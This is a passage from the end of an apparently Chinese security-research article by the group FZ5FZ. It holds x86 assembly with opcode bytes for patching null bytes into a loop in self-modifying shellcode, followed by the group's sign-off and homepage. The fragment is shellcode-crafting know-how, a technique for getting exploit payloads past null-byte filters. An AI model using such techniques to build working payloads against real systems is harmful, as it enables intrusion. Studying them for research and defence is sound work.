0x???????? ; E800!!00?? add [ebp+0x0],al ; 004500 ; then add 90d = 0x5A to EAX (to reach (*), where the loop_code is) ; case where 0xXX = 0x00 so we can't use methode1 add al,0x0 ; 0400 because we're patching at [eax] mov [eax],eax ; 8900 add dword [eax],byte 0x5A ; 83005A add [ebp+0x0],al ; 004500 mov eax,[eax] ; 8B00 ; EAX pointes to the very first null byte of loop_code |=[ 结束 ]=---------------------------------------------------------------=| 关于我们: FZ5FZ 主要从事网络/系统安全的学习与研究,深入编程技术的剖析与探讨,坚持原创,追求共享。 FZ5FZ 主页:http://www.fz5fz.org/